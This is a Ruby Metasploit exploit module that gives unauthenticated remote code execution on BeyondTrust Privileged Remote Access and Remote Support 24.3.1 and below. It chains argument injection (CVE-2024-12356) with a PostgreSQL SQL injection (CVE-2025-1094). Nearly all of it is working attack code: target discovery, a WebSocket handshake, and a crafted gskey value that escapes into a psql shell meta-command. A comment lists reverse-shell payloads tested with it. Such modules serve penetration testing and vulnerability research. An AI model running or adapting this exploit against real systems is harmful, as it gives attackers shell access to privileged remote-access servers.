195 lines
9.0 KiB
Ruby
195 lines
9.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HTTP::Beyondtrust
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Rex::Proto::Http::WebSocket
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
|
|
Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust
|
|
product site. This exploit targets PRA and RS versions 24.3.1 and below.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'sfewer-r7' # Rapid7 Analysis and Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2024-12356'], # The argument injection in BeyondTrust code. By default, this exploit does not leverage CVE-2024-12356.
|
|
['CVE', '2025-1094'], # The SQL injection in PostgreSQL code.
|
|
['URL', 'http://web.archive.org/web/20241226144006/https://www.beyondtrust.com/trust-center/security-advisories/bt24-10'], # BeyondTrust Advisory
|
|
['URL', 'https://www.postgresql.org/support/security/CVE-2025-1094/'], # PostgreSQL Advisory
|
|
['URL', 'https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis'] # Rapid7 Analysis
|
|
],
|
|
'DisclosureDate' => '2024-12-16',
|
|
'Platform' => [ 'linux', 'unix' ],
|
|
'Arch' => [ARCH_CMD],
|
|
'Privileged' => false, # Executes as the site user.
|
|
'Targets' => [
|
|
[
|
|
'Default', {
|
|
'Payload' => {
|
|
'DisableNops' => true,
|
|
# Our payload is passed to the PHP function pg_escape_string. We want to avoid any single quotes
|
|
# getting escaped unexpectedly. The server may be configured to escape double quotes (not by default).
|
|
# We also want to avoid any backward slash characters if CVE-2024-12356 is being leveraged.
|
|
'BadChars' => '\'"\\'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
# NOTE: Tested with the following payloads:
|
|
# cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
# cmd/unix/reverse_bash
|
|
# cmd/unix/generic
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
# A writable directory on the target for fetch based payloads to write to.
|
|
'FETCH_WRITABLE_DIR' => '/var/tmp',
|
|
# Delete the fetch binary after execution.
|
|
'FETCH_DELETE' => true,
|
|
# By default, a deployed site, like Remote Support, is expected to be located at the root path.
|
|
'URIPATH' => '/'
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
|
|
OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.']),
|
|
OptBool.new('LeverageCVE_2024_12356', [false, 'By default, this exploit does not leverage CVE-2024-12356. Enabling this option will cause this exploit to leverage CVE-2024-12356.', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
product_version = get_version
|
|
return CheckCode::Unknown('Could not determine the target status') unless product_version
|
|
|
|
product_version = Rex::Version.new(product_version)
|
|
if Rex::Version.new(product_version) <= Rex::Version.new('24.3.1')
|
|
return CheckCode::Appears("Detected version #{product_version}")
|
|
end
|
|
|
|
CheckCode::Safe("Version #{product_version} is not vulnerable")
|
|
end
|
|
|
|
def exploit
|
|
# For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
|
|
# the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
|
|
# establish a WebSocket connection to the target site application. By default, we query the target site to
|
|
# discover this, however a user can manually set either the expected company name or FQDN as a module option.
|
|
site_info = get_site_info
|
|
|
|
if site_info.nil?
|
|
fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
|
|
end
|
|
|
|
vprint_status("Company name: #{site_info[:company]}")
|
|
vprint_status("Site FQDN: #{site_info[:server]}")
|
|
|
|
headers = {
|
|
# This is the vulnerable application which is reachable over a WebSocket to the target site.
|
|
'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
|
|
}
|
|
|
|
if !site_info[:company].blank?
|
|
print_status("Using company name: #{site_info[:company]}")
|
|
|
|
headers['X-Ns-Company'] = site_info[:company]
|
|
elsif !site_info[:server].blank?
|
|
print_status("Using site FQDN: #{site_info[:server]}")
|
|
|
|
headers['Host'] = site_info[:server]
|
|
else
|
|
fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
|
|
end
|
|
|
|
wsock = connect_ws(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'nw'),
|
|
'headers' => headers
|
|
)
|
|
|
|
# Transmit a version for the request. The target may use version 2, but will agree to a lower version. By using a
|
|
# lower version of 1, we expect to be able to exploit older versions of the affected products which do not support
|
|
# version 2.
|
|
wsock.put_wstext("1\n")
|
|
|
|
# Transmit a random UUID value for the 'thin mint' cookie value.
|
|
wsock.put_wstext("#{SecureRandom.uuid}\n")
|
|
|
|
# Transmit the auth type we want. Zero is the gskey auth type.
|
|
wsock.put_wstext("0\n")
|
|
|
|
# NOTE: We can bypass the need to leverage the argument injection CVE-2024-12356, by transmitting the malicious gskey
|
|
# value via a binary WebSocket message, instead of a text WebSocket message. We include a module option (false by
|
|
# default) called 'LeverageCVE_2024_12356' to make this exploit leverage the argument injection CVE-2024-12356.
|
|
|
|
if datastore['LeverageCVE_2024_12356']
|
|
vprint_status('Leveraging CVE-2024-12356 to trigger the SQLi (CVE-2025-1094)...')
|
|
|
|
# Transmit the malicious gskey value and exploit the argument injection vulnerability.
|
|
# Our attacker value will be passed to the echo command, but as a variable, not as a string. We can therefore pass
|
|
# arbitrary arguments to echo (CVE-2024-12356). We pass the -e switch, to enable the interpretation of backslash
|
|
# escape sequences. We leverage this to pass an 0xC0 character, this will break the interpretation of a
|
|
# PostgreSQL statement (CVE-2025-1094), and in turn allow us to overcome the safe quotes that have been put in
|
|
# place. We can escape the current SQL statement and run an arbitrary PostgreSQL client meta-command. By running
|
|
# a \! meta-command, we can execute and arbitrary shell command.
|
|
wsock.put_wstext("-e \\\\xC0'; \\\\! #{payload.encoded} #\n")
|
|
else
|
|
vprint_status('Triggering the SQLi (CVE-2025-1094) directly (Without CVE-2024-12356)...')
|
|
|
|
# Leverage the SQLi (CVE-2025-1094) directly, by placing the raw byte value 0xC0 in the gskey value that
|
|
# we send to the server. We can do this if we send a WebSocket binary message instead of a WebSocket text message.
|
|
wsock.put_wsbinary("\xC0'; \\\\! #{payload.encoded} #\n")
|
|
end
|
|
|
|
# The vendor patch BT24-10-ONPREM1 will detect a malformed gskey value, and terminate the thin-scc-wrapper script
|
|
# early, tearing down the WebSocket connection. We can detect this here and warn the user that the target may
|
|
# actually be patched. As the patch does not change the servers version number, we cannot detect the patch via a
|
|
# version based check.
|
|
while wsock.has_read_data? datastore['WFSDELAY']
|
|
frame = wsock.get_wsframe
|
|
|
|
break if frame.nil?
|
|
|
|
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
|
|
print_warning('WebSocket closed unexpectedly! This indicates that the patch BT24-10-ONPREM1 has been applied, and the target is no longer vulnerable.')
|
|
break
|
|
end
|
|
end
|
|
|
|
wsock.wsclose
|
|
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
|
if e.http_response && !e.http_response.body.blank?
|
|
if e.http_response.body == 'Invalid company or app name'
|
|
print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
|
|
else
|
|
print_error(e.http_response.body)
|
|
end
|
|
end
|
|
raise
|
|
end
|
|
|
|
end
|